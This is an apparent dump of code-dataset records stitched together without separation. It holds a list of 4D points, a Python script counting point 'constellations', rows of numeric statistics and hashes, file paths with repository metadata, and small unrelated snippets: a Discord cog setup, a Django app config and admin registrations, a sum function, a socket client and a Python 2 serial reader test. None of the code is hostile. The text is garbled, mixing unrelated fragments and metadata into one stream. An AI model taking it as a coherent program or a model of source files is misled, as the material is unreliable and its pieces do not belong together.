6,-6,3,-1 -6,-7,7,-7 -1,-6,-6,-7 7,0,2,4 -8,-2,4,-8 8,5,8,0 -2,4,5,-4 5,0,0,2 0,6,7,3 1,7,8,2 -6,5,5,3 7,-7,7,-6 6,3,0,0 5,8,-7,-2 0,6,-3,8 -6,-4,3,7 0,2,6,6 2,-1,8,-3 2,0,4,7 8,-2,0,-7 6,-1,-2,6 -7,-1,-4,0 0,-8,1,4 -6,-7,8,0 8,-2,-2,-8 -4,-5,-4,-3 -7,2,6,-8 -5,8,-4,-8 8,4,6,5 4,8,-7,-2 -2,7,6,0 4,-3,-5,8 2,-3,-5,3 3,-5,0,-7 6,4,-7,3 -6,7,2,-3 2,-4,2,-6 7,-4,4,-2 2,-7,8,-4 5,-1,-3,6 -5,8,-1,-4 -5,0,7,-2 -6,0,5,0 6,7,7,5 -1,1,4,-8 -6,-6,4,-7 5,3,-8,0 -2,-5,1,-8 -2,-8,-5,-4 8,-4,5,7 0,-7,-6,-2 -1,3,1,-8 3,2,0,3 4,4,5,0 8,0,0,0 -4,0,2,5 7,-3,2,1 -3,-6,-1,6 2,-5,3,0 -6,-8,-4,-7 7,-5,-1,3 -3,-6,-6,3 4,0,2,7 0,0,4,6 8,8,0,5 6,-4,3,4 -5,8,-3,-7 1,8,-3,0 8,7,6,1 -4,2,8,-2 -6,4,3,2 -5,0,4,-3 6,1,7,0 -3,-8,8,-5 0,0,-8,-6 6,-3,-1,7 -6,-7,-6,1 -3,5,7,3 2,4,-8,7 6,0,0,-2 -7,-3,-4,-3 5,-5,-6,-6 3,3,-5,-5 -8,0,2,5 0,-4,-5,0 6,4,2,-8 2,-1,6,-3 -1,8,-3,2 -2,-6,8,-1 -7,-8,3,6 7,4,-5,-2 -3,-6,8,-7 -7,-1,-3,3 8,8,0,-1 4,2,5,-8 0,-4,4,7 1,-5,4,2 3,-8,3,-2 1,0,-5,0 -1,0,0,2 -2,-5,8,7 -5,8,-5,-4 7,-1,-5,4 -2,-8,-7,1 1,-8,-1,3 -8,-8,0,-4 -5,0,6,-7 -2,-8,-1,-4 0,0,-1,8 -8,-8,-2,-1 6,-2,0,-3 -1,-8,1,7 2,1,-4,-1 3,1,-5,5 0,2,-1,7 -1,-5,-5,2 4,0,-1,3 2,2,6,3 -2,2,5,4 8,4,2,3 0,8,0,3 1,1,7,3 -4,0,-6,-3 0,6,-8,2 8,3,-2,-5 -1,4,-5,7 -1,2,3,0 0,1,6,0 3,-7,6,-4 -6,-8,-6,8 -4,-6,1,-3 7,-7,-4,7 0,-2,-7,0 7,0,-7,3 6,-1,-2,4 3,-4,4,-7 3,0,6,-6 -5,6,8,-7 1,-2,6,-6 -1,-8,-1,-8 -3,-6,-5,5 3,2,3,7 -4,-3,2,-1 -7,-5,-3,5 -4,-4,-8,2 -1,2,0,0 -6,5,2,8 -6,-7,-6,-6 4,-1,4,-3 -2,-7,-5,5 0,6,1,-3 0,-1,2,-7 0,-5,-3,7 1,0,-2,5 0,-7,1,3 2,-1,-8,7 0,1,6,3 -2,-8,4,4 3,-6,-2,-5 6,-5,2,5 -5,0,-3,-5 0,-4,-3,-7 5,2,5,1 5,0,-7,6 -7,-1,1,7 -6,4,1,7 -7,6,-7,-2 6,2,5,1 2,7,-4,3 5,8,-4,7 -6,7,-6,-6 -2,3,-6,-1 -6,1,-8,8 8,-8,2,-4 -8,0,6,1 1,6,-7,-5 0,-3,-3,-8 -6,1,1,1 2,8,2,7 -1,-3,5,4 -5,6,-5,2 7,7,-6,-5 4,-2,3,2 5,0,3,-4 -6,-8,5,4 -5,-2,-5,-2 6,-7,7,-4 7,8,7,8 6,-6,7,8 0,-5,-8,-3 3,7,-8,0 4,-1,-4,4 3,-5,6,5 -6,7,-7,3 2,-2,0,-6 -8,-6,7,8 -7,6,1,-1 -7,8,-1,-7 3,0,0,8 -7,1,6,7 7,-8,4,0 2,-4,0,-5 -7,8,6,1 -2,0,3,8 0,-8,3,2 -4,4,5,-4 3,3,-5,-1 0,4,5,4 7,8,2,6 2,0,0,2 8,2,-3,-2 8,2,5,-7 0,1,0,0 6,6,7,0 -7,0,-5,5 0,7,-5,-1 -3,-1,-3,-2 -1,5,0,-7 2,-2,-1,8 4,4,0,-5 2,0,7,7 7,6,8,2 0,1,5,7 5,3,-8,-5 1,8,-1,4 2,0,7,-3 7,2,-2,7 5,0,0,3 -3,-7,-2,2 -4,0,0,4 1,-7,-7,8 0,0,0,7 0,-3,-3,-1 -8,7,8,-1 4,-8,-8,7 2,2,3,-4 -7,7,-2,3 8,0,4,4 -5,-7,5,-2 1,0,-1,-5 6,-7,1,2 -4,0,-4,7 -7,5,3,2 -1,0,3,-3 -8,-2,4,-1 -7,-8,-2,7 -4,6,-3,-6 7,0,7,-4 2,-8,0,3 5,0,4,3 6,-5,-8,2 8,0,-6,2 0,6,3,-3 6,-8,0,6 -5,7,4,-1 5,6,3,-1 -3,-7,0,0 5,-5,0,4 7,2,-4,-2 -7,-5,-7,3 -3,2,6,0 8,-4,6,0 -4,2,-1,-1 -2,8,-5,-3 -5,-6,-4,-2 3,2,2,3 6,0,-2,0 -4,8,7,4 -2,6,-5,-3 6,4,0,5 5,0,1,3 4,3,6,1 -2,-4,-3,0 -5,1,0,7 0,-6,-1,-6 7,6,-1,-4 -4,6,4,2 7,1,4,-8 -1,2,8,-1 1,7,4,-4 5,3,-1,-8 -8,-2,-3,5 -1,-7,-8,5 -5,-8,-3,4 1,0,3,-8 -8,6,-5,0 -7,-6,5,5 3,2,5,5 0,8,4,5 0,5,0,-3 -1,1,-8,-6 2,0,-4,6 -2,-5,4,8 6,6,-5,2 0,6,-1,6 8,-8,2,-8 -3,4,-1,5 -2,-6,7,4 4,5,8,-1 -3,8,7,-7 5,4,4,6 3,-2,-1,-6 -7,8,-7,-2 0,-1,-8,-7 -3,-3,5,6 3,4,7,-8 -5,1,-6,5 -6,7,1,2 3,6,-2,5 3,0,4,3 2,-3,7,-2 4,-8,-7,7 -3,8,3,5 -7,-5,1,3 -5,-5,0,-6 -8,-6,-7,8 4,-1,-6,-4 5,3,2,-1 -4,1,6,5 -8,4,3,-1 8,7,5,-5 8,4,-4,7 1,-6,-1,3 8,4,-7,-2 -2,2,-4,6 -3,-2,3,1 -3,3,-3,3 -8,1,5,-8 -2,4,-5,-6 7,1,0,-6 1,-7,-4,-8 8,0,1,-3 -8,5,-2,4 6,7,-1,8 -5,4,-1,0 -8,-7,1,4 8,4,-3,-4 -7,-3,8,-3 -2,-2,2,1 -1,7,-7,4 4,8,5,4 -7,8,3,5 5,7,6,5 -1,1,-2,-5 -1,-6,0,-2 -2,8,4,-1 0,3,-2,7 -1,-2,1,2 3,-5,6,-8 4,-3,4,-6 0,-4,-8,-1 -5,-2,-8,0 -5,-5,-3,-4 2,2,3,-6 0,-5,0,2 -3,-8,0,0 3,2,-1,8 0,8,1,2 7,3,6,5 -1,0,0,3 -8,6,1,-3 -3,-3,-6,3 -7,-2,7,1 8,-6,3,4 5,1,7,7 -2,2,3,-8 -7,-8,-2,2 2,8,-4,-1 7,3,-7,-7 -4,3,7,-3 -4,-4,4,7 7,-1,-1,2 3,8,-3,-2 -5,-7,-2,-4 -1,-6,-5,-5 4,8,0,6 5,0,1,-7 -6,6,-2,0 -1,5,0,0 4,-2,0,7 -2,2,-1,1 2,-6,4,2 -2,5,-1,-2 -8,8,0,7 0,-1,-7,-6 3,-6,1,-6 -1,-3,-5,-3 -7,8,-5,0 2,1,6,-7 6,2,4,-7 -1,-6,-7,4 -5,4,6,-3 5,1,-6,-7 7,1,-4,-6 -4,-8,-5,2 1,-1,-3,-6 2,-5,-5,-5 -6,4,-6,-1 -7,1,-4,-4 8,6,0,5 4,7,0,8 8,-8,-4,-6 2,3,0,-7 -2,4,0,2 -3,-7,2,0 8,0,-2,1 -3,-1,-2,8 -3,5,3,8 0,-5,-1,6 5,1,2,7 6,4,1,3 0,4,6,4 -6,0,-4,3 -8,-1,5,-7 -1,4,-2,0 1,-8,-3,-1 0,2,-6,5 -7,-2,-6,-2 8,6,8,6 -8,-4,0,5 1,3,-6,-4 -4,3,-5,7 7,-5,0,0 -8,4,2,-8 5,7,-5,0 7,-7,-5,-4 -5,0,1,-3 -4,6,1,-3 4,-3,3,4 0,0,8,0 5,-6,-6,-6 -3,7,7,-2 -7,-3,8,-4 6,8,-7,-4 -6,6,-4,0 4,0,8,3 2,8,0,-6 0,-6,6,-3 0,-6,3,-8 0,0,0,-7 -1,7,-7,3 -5,-4,-1,-7 -8,-3,-1,8 6,5,-7,3 -4,4,0,-4 -3,-8,5,7 0,1,0,-4 7,-3,0,-5 -2,-4,0,2 -5,4,2,3 -3,-8,-7,-5 4,-5,3,0 1,-4,1,2 -6,2,3,8 2,-6,-7,-2 0,-6,-4,8 1,5,0,-6 1,3,-7,-2 6,3,-5,3 -1,8,6,-4 3,3,3,0 -2,0,-3,4 2,0,7,4 6,8,-8,7 8,6,-1,-6 -7,-5,5,-2 0,8,-2,-3 -7,2,2,-8 8,5,-4,4 -5,7,5,-1 7,6,0,8 1,-7,3,-6 2,7,-6,0 3,3,0,-4 5,7,-8,5 4,-8,8,0 -7,-2,2,5 -1,7,1,3 -8,-8,2,-6 6,0,2,2 1,2,4,-4 7,-8,-2,5 1,3,5,0 -6,4,-5,1 -4,0,-5,1 4,-3,-4,8 -6,-1,5,8 7,-8,7,8 -3,-7,-6,8 -8,-4,0,0 -3,5,2,7 -3,7,-3,0 -3,0,0,5 8,3,8,4 -6,0,0,7 6,5,2,-2 -3,-8,4,0 4,-2,0,2 -1,0,0,7 -4,4,-4,6 -5,-6,2,1 -7,0,-7,3 -7,3,4,-7 -7,-8,2,2 1,-4,5,-7 -2,5,3,-8 5,1,-7,2 -2,-3,3,1 -1,0,5,-3 -2,5,1,0 -3,-6,0,-1 5,0,7,-7 8,8,-1,-2 -7,-3,2,1 -2,2,3,0 -8,-4,-8,-6 0,8,-3,0 4,0,6,-5 -6,2,7,1 2,3,1,-6 -5,-1,-4,1 4,-2,2,-6 5,4,5,-6 -3,5,1,-6 -4,-5,4,-2 1,-5,4,-3 8,-5,6,-4 1,4,5,-1 -5,-4,-2,3 0,3,3,-6 -5,-6,0,-8 -3,5,3,-1 0,0,7,6 -4,-6,5,5 -4,-1,-2,-6 -7,-6,-4,-8 2,-4,0,3 4,-2,0,5 -3,1,-7,-7 -7,0,-4,4 -6,-1,7,-8 -5,2,7,8 3,-7,-2,5 2,-3,-3,2 2,3,7,-4 -7,4,-2,8 -3,1,-3,3 -6,-8,7,-2 -5,0,-8,-4 5,8,0,4 -5,-8,-4,5 -3,-7,5,6 -5,7,0,7 -2,-4,-6,-3 -8,-8,-2,2 -6,-1,-1,8 -3,0,4,5 8,0,-8,7 4,8,0,-6 0,3,-8,7 0,-8,-5,-4 0,0,6,6 -5,-7,0,-7 -3,-1,3,4 3,3,-7,6 7,6,7,0 -1,-3,-4,-8 6,8,-1,-6 3,-8,7,1 -8,-5,1,-3 -8,-5,-3,-8 -6,-5,-3,-1 5,0,-5,0 -5,0,0,7 8,-8,6,8 4,6,4,-3 2,2,6,1 0,0,-4,3 -6,-4,2,6 7,0,-6,-3 8,3,-2,2 -7,1,5,-3 7,7,-1,0 -1,3,5,0 -4,-5,-3,-1 -1,-4,6,4 5,0,3,6 -1,2,-6,1 8,-3,4,-2 4,0,-2,7 0,7,0,-3 0,8,2,4 0,-7,-7,8 -2,-8,7,3 -1,7,-8,8 7,4,-1,5 -5,1,-8,-2 -6,6,-5,-4 -8,3,2,-3 -4,-3,0,3 -4,-4,-1,0 3,7,1,2 -5,-6,-1,-4 5,7,8,8 2,-2,-8,-6 0,7,-6,1 5,-8,-3,-2 -3,7,-8,-4 -8,0,3,0 0,-2,7,0 5,7,4,7 8,2,-5,-5 -1,-4,-3,6 0,1,6,7 -8,0,7,0 2,-7,-6,-1 -1,0,-8,1 -8,6,-3,6 7,7,-6,8 1,-3,1,-5 -4,3,0,1 3,7,-7,-8 0,-7,4,3 -5,-2,4,5 0,-5,3,0 -5,4,0,0 2,-5,-6,2 -1,-2,0,4 0,5,4,0 -5,-1,4,8 7,0,0,2 0,2,-6,0 1,-3,7,0 -6,0,-8,8 -6,-5,8,7 -1,-3,1,8 1,0,-2,-6 6,4,6,-3 -1,-5,-5,5 -4,7,3,-5 0,-4,3,6 -6,3,3,8 5,1,3,8 -8,-2,6,-3 -2,-7,7,-7 7,-4,-3,5 7,-1,4,0 -8,-3,1,-4 -1,0,-1,1 -4,-6,-2,2 0,-6,-3,-6 0,-5,1,8 4,8,-5,-3 -2,-4,6,1 -5,0,4,-4 6,1,-8,7 8,-4,0,-1 -2,-5,-7,-7 -3,3,-7,-7 8,-2,-6,5 -3,0,-5,-3 -8,5,0,0 -4,0,4,0 -7,2,8,1 0,-4,6,-1 -8,-3,6,-8 5,0,4,-3 -4,-6,0,0 6,2,0,0 8,2,2,7 8,-1,0,-2 6,8,0,0 -3,2,2,-5 0,-6,-1,5 0,-5,7,0 0,1,8,8 -1,2,5,4 -2,-1,5,1 -4,-6,6,5 -8,-8,8,2 0,-6,-1,6 -5,0,7,-4 7,0,-3,-8 -2,-5,1,2 0,-2,7,-2 -2,-8,-3,-3 -7,3,4,6 7,2,-8,2 4,6,-5,-3 -1,-1,-7,0 5,-8,-7,6 4,5,-3,0 0,-6,1,-4 -1,2,4,-3 -2,5,-7,0 -5,4,0,4 3,-1,-7,3 4,5,5,7 2,2,-8,7 5,7,-3,1 -6,5,-5,-3 7,-2,-2,-3 2,-4,0,-4 -3,0,-3,-8 1,-4,4,0 -2,0,3,-8 -2,3,-5,-8 -5,7,-6,-6 -4,0,5,-3 4,-4,-2,-2 -8,-8,8,-4 5,-2,0,1 8,1,-7,0 -7,-4,-4,-2 1,5,0,-4 3,4,7,-4 8,5,-7,0 8,-8,7,-6 5,6,8,8 -7,1,-4,-1 -8,2,3,-4 4,7,-3,-2 2,-8,-4,-2 -5,4,1,4 0,6,-4,-1 -7,-1,0,1 5,-4,-7,-3 -2,0,2,3 1,0,-2,-7 0,-7,2,-1 -5,3,-4,1 -1,-8,1,-4 -2,-8,-6,-5 7,-6,2,-3 -7,4,6,-6 5,7,6,-3 8,0,1,-7 4,-2,-7,-3 8,-5,-6,3 -1,7,-1,-2 -8,4,5,3 1,-3,4,-8 -2,-5,-5,-8 2,1,3,8 4,7,7,0 1,2,0,0 -5,2,-1,7 3,8,-6,3 0,6,2,3 7,4,-8,0 -1,-5,0,3 -1,0,0,0 -2,1,-2,5 1,2,4,-3 2,4,0,-4 6,0,7,-2 4,-2,-2,-7 3,-2,-2,3 8,-5,-8,-7 4,-2,0,-7 6,3,-7,0 -7,-8,-4,0 6,0,4,-3 4,-4,0,4 1,0,-1,-1 -4,3,-2,2 -8,-8,2,2 -3,-3,-5,-2 -1,0,5,1 -2,8,5,-8 6,-8,5,6 -2,-6,-1,-3 5,2,-5,-6 -6,-3,-2,-1 -2,3,3,4 2,-3,-7,4 2,-1,-7,0 -1,-2,-4,-8 -3,-7,7,3 -4,7,8,7 -8,1,-1,0 -6,8,2,-6 5,-3,7,-8 -7,6,6,-3 0,1,2,-7 3,0,-7,-2 2,-7,1,6 5,-3,0,5 6,-2,-1,-4 4,-3,-5,0 -8,1,-2,-2 0,5,0,2 -7,6,2,8 4,1,5,7 -2,0,6,-3 7,-2,5,0 -3,0,-4,4 -7,5,0,0 -4,2,0,-1 3,-8,1,-5 -2,-4,0,5 -3,6,-6,-6 3,1,-1,-7 -4,0,1,-6 -7,0,-4,-8 -7,-4,8,-6 -3,-4,-8,5 2,-7,-1,-5 1,8,0,0 7,2,6,-4 0,6,-4,-2 0,-1,7,4 3,6,0,8 3,7,-1,-1 -2,-1,-2,-2 -4,5,7,4 4,-2,-6,-4 -6,3,-5,4 -8,-7,-4,7 2,6,3,-5 -4,-8,4,8 -3,5,1,0 1,1,5,-2 7,5,1,-7 1,0,-8,-4 0,-2,-1,3 0,0,3,-7 7,2,1,0 1,-2,8,-6 -3,0,0,-8 -7,0,-2,0 1,1,-2,7 8,4,6,4 -7,7,5,5 0,-1,-7,-3 -3,0,-3,-2 -8,-7,6,-3 4,-2,4,1 -2,-8,5,-4 -8,-3,7,2 0,7,2,-1 8,7,-1,-5 1,0,-3,-4 0,3,0,-4 0,-2,0,5 -2,5,-2,-1 -8,-8,4,8 -8,5,4,-8 0,2,-1,2 -4,0,8,7 0,-4,1,-2 3,1,-1,1 2,-6,7,3 5,-4,1,-2 -5,-8,-2,-6 2,5,3,4 3,0,8,3 8,6,-5,-4 -7,8,6,2 -5,-8,8,1 6,1,1,-8 0,-1,2,8 -5,0,-7,-6 2,-4,8,6 -6,0,1,0 3,6,-8,-3 -1,5,5,1 -3,0,7,8 -4,0,-8,0 5,-3,8,-6 -8,-6,0,-3 -6,7,3,2 3,-8,-1,-1 4,0,-6,-3 2,-3,8,1 -5,3,0,2 -2,7,-3,-1 0,-5,-1,3 0,2,2,8 7,-6,-6,-7 -5,-5,-4,7 5,2,-4,-6 0,6,-6,-4 -1,7,-2,0 -6,-7,-1,-3 -1,1,-3,1 2,-4,-1,0 6,2,3,-2 -7,-5,-2,-7 -4,-1,-5,4 0,4,5,6 -7,-4,1,-7 0,-1,-8,8 7,-1,1,-7 -1,1,0,0 -4,-3,2,-8 -8,-8,-5,6 4,3,-4,6 -2,8,7,-5 2,0,7,-6 2,-1,-7,-8 8,4,-5,-6 -6,1,-5,-3 -7,1,-2,0 -7,-6,0,-7 1,0,-8,1 0,-2,6,0 0,1,5,0 8,-5,-1,5 0,-2,-7,2 0,-5,4,-3 -6,7,3,3 3,-7,-6,0 -4,3,-5,0 7,-5,4,1 8,3,0,7 -4,4,3,6 8,1,-6,-3 3,-3,-6,-4 -5,0,-6,-6 2,5,-8,3 -6,6,-6,-1 6,-2,0,-6 4,7,-3,-8 2,6,-6,0 -8,0,6,0 -5,-5,0,-3 -3,4,1,-8 -5,-1,4,-4 0,0,-5,-7 -6,1,-2,0 5,-3,-1,-4 -7,-8,5,-1 -8,-5,6,1 6,5,-1,-5 8,-5,-6,6 -2,-1,-4,7 3,-4,4,1 8,0,6,-6 -7,7,-4,-5 -5,5,-6,3 -8,1,7,-3 -1,-4,0,6 3,3,2,3 7,4,-7,-8 -8,8,6,-3 -1,-8,0,8 -8,7,-4,-6 0,5,7,0 -6,-6,3,1 -8,-3,6,7 -2,-2,-2,-7 -4,6,5,-2 2,-2,7,8 -7,8,0,2 2,2,-6,5 6,-3,-3,-8 -2,-3,-8,7 -6,8,-5,-1 4,-2,-3,-3 -8,-4,-6,4 -8,4,-2,1 -4,-1,-2,7 5,6,-2,-5 0,2,6,-2 0,0,3,0 4,8,-3,-1 4,7,0,-1 -6,3,7,8 -4,2,-2,-2 5,8,7,5 6,8,1,2 0,2,0,-4 5,4,-6,-5 6,-8,4,1 0,-7,-3,-5 1,3,-3,6 5,8,2,-4 -4,0,5,8 2,0,2,3 8,-2,-5,3 -8,-5,2,8 -2,0,-7,-6 -4,-8,8,2 6,-8,5,-2 -4,6,0,8 -3,-8,4,6 1,7,3,7 6,-7,-5,3 -8,0,0,0 6,-1,-2,-1 -2,7,4,6 -7,-5,2,-8 1,-6,-5,-1 -5,-3,0,-8 8,-7,8,-6 0,5,-7,0 7,3,5,4 4,-2,2,1 -5,-6,2,-8 -8,4,-4,-3 0,2,6,2 -4,-8,0,5 -2,-4,-5,-8 -4,2,0,-8 2,-7,-4,6 -8,-8,-7,4 7,0,2,7 -1,-2,1,-5 -7,-5,1,-7 4,-4,-6,6 5,-3,6,-1 2,2,-1,-4 8,4,8,2 3,8,0,-4 -1,-7,0,6 -1,7,6,-7 8,5,0,2 -6,0,-3,4 -6,-3,3,0 -7,-1,-6,-7 -1,4,-3,1 -2,-7,2,8 -8,-3,8,0 -4,-7,-6,0 -7,-1,-6,2 -3,-1,4,6 0,-1,7,-4 -8,-8,-8,1 4,-5,4,1 -5,-7,-3,2 -1,-3,4,-1 -4,-1,-3,-3 0,-3,8,5 3,0,-8,-1 8,-8,1,-7 -2,7,-3,7 -1,0,-5,4 -3,-2,4,-3 -7,-8,6,-5 2,5,3,5 3,-7,8,-3 -5,4,2,-6 1,-4,0,-2 0,-8,-5,6 8,-8,-6,-2 -7,-6,7,2 -5,-3,-1,-8 8,5,-5,-8 3,6,8,4 0,1,4,7 -1,7,4,-7 -6,-1,-6,6 2,3,0,-5 -4,0,-5,0 3,-7,-2,-3 8,0,-4,-6 4,-2,-4,7 -7,-6,4,-8 -4,-3,2,-6 0,-7,-3,3 -7,6,-4,-5 0,4,1,-6 -3,1,0,5 -7,-8,-1,0 4,5,8,3 4,6,7,-1 5,-5,-1,0 4,-4,2,-2 0,8,-8,-1 2,-7,-7,7 5,0,-6,0 -4,4,5,8 -4,-5,5,6 8,-5,-5,0 5,2,-3,-2 -5,-2,6,6 6,3,-7,-4 1,-1,-1,-5 -5,-2,-7,1 -5,3,1,-6 3,6,6,3 -2,-4,5,-5 4,-6,7,5 6,8,8,8 2,-2,4,1 -3,2,-7,7 8,-1,-4,-5 6,2,2,7 0,-8,-5,-7 -8,5,6,2 5,5,6,8 -3,-4,5,-4 1,-1,8,4 6,-3,-1,-2 -1,4,6,-7 2,4,0,6 -7,1,-6,6 -7,-8,8,-8 0,3,-2,-8 1,-5,-1,5 -5,-3,-7,5 5,-4,-4,7 -4,0,0,-4 -7,-5,-7,8 -7,2,-1,-4 4,-3,-3,0 3,-2,-6,-1 8,-1,-1,-2 -5,-5,5,-7 -7,0,-3,1 -2,-7,-1,-6 8,-4,-6,-7 5,-3,6,5 7,-1,3,-3 -7,0,7,-1 -6,-8,-5,6 -8,0,-3,4 4,-2,3,-5 3,6,7,3 0,-3,-7,2 4,-6,-7,2 1,-7,0,0 8,0,-7,-4 6,-1,8,4""" def distance(a, b): return abs(a[0] - b[0]) + abs(a[1] - b[1]) + abs(a[2] - b[2]) + abs(a[3] - b[3]) constellations = [] for line in input.splitlines(): x, y, z, t = (int(a) for a in line.split(",")) s = (x, y, z, t) matching_constellations = [] for c in constellations: for star in c: if distance(star, s) <= 3: matching_constellations.append(c) break resulting_constellation = {s} for c in matching_constellations: constellations.remove(c) resulting_constellation |= c constellations.append(frozenset(resulting_constellation)) print(len(constellations))
10.139956
84
0.416363
5,518
13,983
1.054005
0.007249
0.028542
0.008769
0.004127
0.276651
0.043845
0.002407
0
0
0
0
0.436777
0.109776
13,983
1,378
85
10.147315
0.030447
0
0
0
0
0
0.95187
0
0
0
0
0
0
1
0.000727
false
0
0
0.000727
0.001455
0.000727
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
15d687c9edc9b9d8ce2013d796009336a1796ced
192
py
Python
autorole/__init__.py
glryanon/Trusty-cogs
1d5056ad166a7e7ee5039baa31748b1995ae81f6
[ "MIT" ]
1
2020-12-28T15:58:16.000Z
2020-12-28T15:58:16.000Z
autorole/__init__.py
glryanon/Trusty-cogs
1d5056ad166a7e7ee5039baa31748b1995ae81f6
[ "MIT" ]
null
null
null
autorole/__init__.py
glryanon/Trusty-cogs
1d5056ad166a7e7ee5039baa31748b1995ae81f6
[ "MIT" ]
1
2020-07-27T00:04:45.000Z
2020-07-27T00:04:45.000Z
from .autorole import Autorole def setup(bot): n = Autorole(bot) bot.add_cog(n) # bot.add_listener(n._roler, "on_member_join") # bot.add_listener(n._verify_json, "on_error")
21.333333
50
0.6875
30
192
4.1
0.566667
0.146341
0.227642
0.243902
0
0
0
0
0
0
0
0
0.177083
192
8
51
24
0.778481
0.463542
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.5
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
4
c62adeb7d71805353a31ce1d3f686aaf0e016525
103
py
Python
better_self_app/apps.py
Lstedmanfalls/BetterSelf
d903fa78b41f63c5053cef09cd127544952a2243
[ "MIT" ]
1
2021-09-21T03:08:56.000Z
2021-09-21T03:08:56.000Z
better_self_app/apps.py
Lstedmanfalls/BetterSelf
d903fa78b41f63c5053cef09cd127544952a2243
[ "MIT" ]
null
null
null
better_self_app/apps.py
Lstedmanfalls/BetterSelf
d903fa78b41f63c5053cef09cd127544952a2243
[ "MIT" ]
null
null
null
from django.apps import AppConfig class BetterSelfAppConfig(AppConfig): name = 'better_self_app'
17.166667
37
0.786408
12
103
6.583333
0.916667
0
0
0
0
0
0
0
0
0
0
0
0.145631
103
5
38
20.6
0.897727
0
0
0
0
0
0.145631
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
c63269c117bc0576fe585236656e4fddc340c244
96
py
Python
funcionSuma.py
Danieldevop/Python-examples
9ff038c80c6a2edc82ffafbf74a33084d64ff7a8
[ "MIT" ]
null
null
null
funcionSuma.py
Danieldevop/Python-examples
9ff038c80c6a2edc82ffafbf74a33084d64ff7a8
[ "MIT" ]
null
null
null
funcionSuma.py
Danieldevop/Python-examples
9ff038c80c6a2edc82ffafbf74a33084d64ff7a8
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- def suma(num1, num2): sm = num1 + num2 return sm print(suma(2,3))
12
23
0.5625
16
96
3.375
0.75
0.296296
0
0
0
0
0
0
0
0
0
0.094595
0.229167
96
7
24
13.714286
0.635135
0.21875
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0
0
0.5
0.25
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
4
c64e7cb9a1af698a0f888860170f9a12abbb2450
156
py
Python
lin_audream_client/test_client.py
Lavabar/audream
7af458046bbe16dd9129d2c4fe9f0a7626b9883e
[ "MIT" ]
null
null
null
lin_audream_client/test_client.py
Lavabar/audream
7af458046bbe16dd9129d2c4fe9f0a7626b9883e
[ "MIT" ]
null
null
null
lin_audream_client/test_client.py
Lavabar/audream
7af458046bbe16dd9129d2c4fe9f0a7626b9883e
[ "MIT" ]
1
2021-05-07T20:35:14.000Z
2021-05-07T20:35:14.000Z
import client as cl import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.31.123",9999)) cl.update_base(s) s.close()
15.6
53
0.730769
28
156
3.964286
0.678571
0.216216
0
0
0
0
0
0
0
0
0
0.108696
0.115385
156
9
54
17.333333
0.695652
0
0
0
0
0
0.089744
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
4
d67a4367827978e6be63cd0a650613eea48bf1b0
258
py
Python
backend/base/admin.py
danylott/sale-rent-real-estate-platform
2c64272ec5a207e753372a164375439bd20c9df1
[ "Apache-2.0" ]
null
null
null
backend/base/admin.py
danylott/sale-rent-real-estate-platform
2c64272ec5a207e753372a164375439bd20c9df1
[ "Apache-2.0" ]
null
null
null
backend/base/admin.py
danylott/sale-rent-real-estate-platform
2c64272ec5a207e753372a164375439bd20c9df1
[ "Apache-2.0" ]
3
2021-11-02T12:43:27.000Z
2021-11-04T19:29:13.000Z
from django.contrib import admin from .models import Product, Review, Order, OrderItem, ShippingAddress admin.site.register(Product) admin.site.register(Review) admin.site.register(Order) admin.site.register(OrderItem) admin.site.register(ShippingAddress)
25.8
70
0.825581
33
258
6.454545
0.393939
0.211268
0.399061
0
0
0
0
0
0
0
0
0
0.073643
258
9
71
28.666667
0.891213
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.285714
0
0.285714
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
d67d741912da10390053e228fd5caab9d3b56462
138
py
Python
test.py
mdisibio/dex-reader
9ccf072377bbbbab1264530b085494996fd5c3d3
[ "MIT" ]
1
2017-09-25T21:50:26.000Z
2017-09-25T21:50:26.000Z
test.py
mdisibio/dex-reader
9ccf072377bbbbab1264530b085494996fd5c3d3
[ "MIT" ]
1
2017-08-28T13:03:36.000Z
2021-11-25T16:02:56.000Z
test.py
mdisibio/dex-reader
9ccf072377bbbbab1264530b085494996fd5c3d3
[ "MIT" ]
3
2019-03-17T16:59:53.000Z
2021-12-10T17:26:35.000Z
import DexReader reader = DexReader.DexReader("/dev/ttyp3") data = reader.read() print "===DEX DATA:" print data print "=== end of data"
17.25
42
0.695652
19
138
5.052632
0.578947
0.1875
0
0
0
0
0
0
0
0
0
0.008403
0.137681
138
8
43
17.25
0.798319
0
0
0
0
0
0.266187
0
0
0
0
0
0
0
null
null
0
0.166667
null
null
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
4
d685ab50372de5b0956b5cd95f5920fa10c16071
27
py
Python
homeassistant/components/fedex/__init__.py
zalke/home-assistant
a31e49c857722c0723dc5297cd83cbce0f8716f6
[ "Apache-2.0" ]
4
2019-07-03T22:36:57.000Z
2019-08-10T15:33:25.000Z
homeassistant/components/fedex/__init__.py
zalke/home-assistant
a31e49c857722c0723dc5297cd83cbce0f8716f6
[ "Apache-2.0" ]
39
2016-12-16T12:40:34.000Z
2017-02-13T17:53:42.000Z
homeassistant/components/fedex/__init__.py
